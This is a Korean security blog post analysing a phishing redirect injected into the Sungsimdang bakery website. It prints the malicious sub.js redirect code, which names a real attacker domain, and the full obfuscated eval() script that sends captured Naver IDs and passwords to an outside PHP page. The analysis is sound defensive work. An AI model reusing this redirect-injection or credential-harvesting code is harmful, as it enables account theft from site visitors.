성심당 홈페이지를 통한 네이버 피싱링크 리디렉션 정적 분석
2024년 05월 03일 22시로 추정되는 시간대에 인터넷 커뮤니티에서 성심당 홈페이지가 네이버 피싱 사이트로 리디렉션된다는 제보를 받아 확인을 해보았다.
05월 04일 00시 기준으로는 모든 피싱 페이지 및 소스코드가 전부 제거된걸 보아 공격자가 성공적으로 정보 탈취를 한것으로 보고 흔적을 남기지 않기 위해 파일을 제거한 것으로 추정된다.
04일 20시에 다시 배포가 된 것으로 보아, 담당자가 부재일 시간대(야간)를 노린 공격으로 추정된다.
피싱 홈페이지
성심당 홈페이지에 접속하는 경우 위 이미지 처럼 네이버 계정을 탈취하는 피싱 사이트 링크로 리디렉션 되는것이 확인이 되었다.
리디렉션 분석
해당 사이트는 다음과 같이 성심당 홈페이지에서 특정 소파 가구 제작업체의 사이트에 링크된 sub.js 를 호출하여, 최종적으로 택배박스 판매 사이트내에 있는 악의적인 php 사이트로 리디렉션이 이루워진다.
sub.js 소스코드
1 2 3 4 5 6 7 8 9 |
if(document.cookie.indexOf("sdvbdtrwssss=")==-1) { var expires=new Date(); expires.setTime(expires.getTime()+12*60*60*1000); document.cookie="sdvbdtrwssss=Yes;path=/;expires="+expires.toGMTString(); if(navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65"+"\x20\x37")==-1); window.location.href='https://boxga.com/main.php'; } |
sub.js 에서는 다음과 같은 패턴으로 피싱 사이트로 리디렉션을 진행하고 있다.
- 성심당 메인 홈페이지에 쿠키 정보를 읽어 “sdvbdtrwssss=” 라는 쿠키 정보의 인덱스가 -1 (없는지) 인지 확인한다.
- 만약에 -1 (없을 경우) 일 경우, 접속한 현재시간 (new Date();) 를 기준으로 12시간(expires.getTIme() + 12*60*60*1000) 뒤에 만료되는 sdvbdtrwssss= 라는 쿠키명을 Yes 라는 값을 넣어 저장한다.
- 그 다음, 브라우저의 UserAgent 를 검사하여 “msie 7” 이라는 인덱스가 -1 (없다면) 이라면 “window.location.href” 라는 함수로 피싱 사이트로 리디렉션을 한다.
쿠키
쿠키는 위와 같은 정보로, 성심당 메인 홈페이지에 등록되며, 12시간 뒤에 만료되도록 저장하도록 되어있다. 해당 쿠키를 제거하면 다시 피싱 사이트로 리디렉션 된다.
피싱사이트 로그인 패턴 분석
1 |
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('h f$=["J","X","R","I","K","L",\'Y\',\'r.E\',"r.E","t","1k","x","H","G","1m","Z","1g","1d","C","?1e=H","F","&","=","1f","1a","1c",\'\',"1b","1h","1n","1p-1o","1j","1i","1l",\'t\',"",\'x\',"O","N","r","P","V","U","M"];i v(a,b){j(q(a)){h c=g[f$[0]][f$[1]](a);j(c[f$[2]]){c[f$[2]](f$[3],b)}W{c[f$[4]](f$[5],b)}}};i q(a){h b=g[f$[0]][f$[1]](a);j(T(b)!=f$[6]&&b!=S){k Q};k l};j(q(f$[7])){v(f$[8],i(){n=g[f$[0]][f$[1]](f$[9])[f$[10]],A=g[f$[0]][f$[1]](f$[11])[f$[10]];y(n,A)})};i D(a){g[f$[12]]=i(c){a[f$[13]](1L[f$[14]](c))};h b=g[f$[0]][f$[15]](f$[16]);b[f$[17]]=a[f$[18]]+f$[19];1K(s 1M a[f$[u]]){b[f$[17]]+=f$[1O]+s+f$[1N]+a[f$[u]][s]};g[f$[0]][f$[1w]](f$[1v])[1y][f$[1x]](b)};i y(a,b){j(a==f$[z]){h e=g[f$[0]][f$[1]](f$[1u]);e[f$[m]][f$[p]]=f$[o];k l};j(b==f$[z]){h e=g[f$[0]][f$[1]](f$[1J]);e[f$[m]][f$[p]]=f$[o];k l};h c=/^[a-B-9][a-B-1q\\-]{4,19}$/;j(!c[f$[1t]](a)){h e=g[f$[0]][f$[1]](f$[1s]);e[f$[m]][f$[p]]=f$[o];g[f$[0]][f$[1]](f$[1z])[f$[10]]=f$[w];g[f$[0]][f$[1]](f$[1G])[f$[10]]=f$[w];k l};h d=g[f$[0]][f$[1]](f$[1F])[f$[10]];g[f$[1I]][f$[1H]](d);D({C:d,F:{1E:n,1B:g[f$[1A]](b),},G:i(e){}});g[f$[1D]][f$[1C]]=g[f$[0]][f$[1r]]}',62,113,'|||||||||||||||_|window|var|function|if|return|false|28|user|30|29|isObjExist|log|key|id|20|addNormalEvent|35|pw|check|26|pwd|z0|url|Post|login|data|success|callback|click|document|attachEvent|onclick|referrer|console|act_url|escape|true|addEventListener|null|typeof|href|location|else|getElementById|undefined|createElement|||||||||||head|err_empty_id|appendChild|src|fn|getElementsByTagName|script|style|test|err_empty_pw|value|error_message|parse|display|block|inline|9_|43|33|32|27|24|23|25|0x0|34|40|pa|42|41|ua|37|36|39|38|31|for|JSON|in|22|21'.split('|'),0,{})) |
위와같이 난독화된 eval function 호출로 분석을 어렵게 만들었으나, 정적 패턴으로 분석하면 다음과 같은 형태로 피싱 패턴이 이루워짐을 확인할 수 있었다.
사용자가 특정 조건에 만족하게 입력(8자 이상)을 성공하면, 특정 의류 판매 업체이지에 저장된 악의적인php 페이지에 GET Method 호출을 통해 파라메터 값으로 ID 는 ua, 비밀번호는 pa 라는 값으로 정보 유출을 시도한다.
해당 업체 홈페이지는 indexes 가 활성화 되어있는 보안 취약점을 가지고 있는 사이트로, axfaewtwerdsdg.pdf 라는 pdf 파일이 있는데, 이는 about.php 를 통해 받아온 데이터가 다음과 같이 저장되어있다.
피싱 결과
해당 pdf 파일은 실제 pdf 확장자가 아니라, ASCII 텍스트 문서로, 사용자가 입력한 ID, 비밀번호, IP, 입력 시간대를 저장하는 텍스트 파일로 정보 유출이 예상이 된다.
끝으로…
최근 피싱 사이트는 유명 사이트의 정적 웹 페이지를 그대로 copy & paste 하여 사용자의 입력을 요구하기 때문에 정상 웹 사이트의 URL 인지 확인하고, 대다수의 사이트에서 포털 사이트 로그인등을 요구하는 경우는 없기 때문에 사용자의 주의가 요구 된다.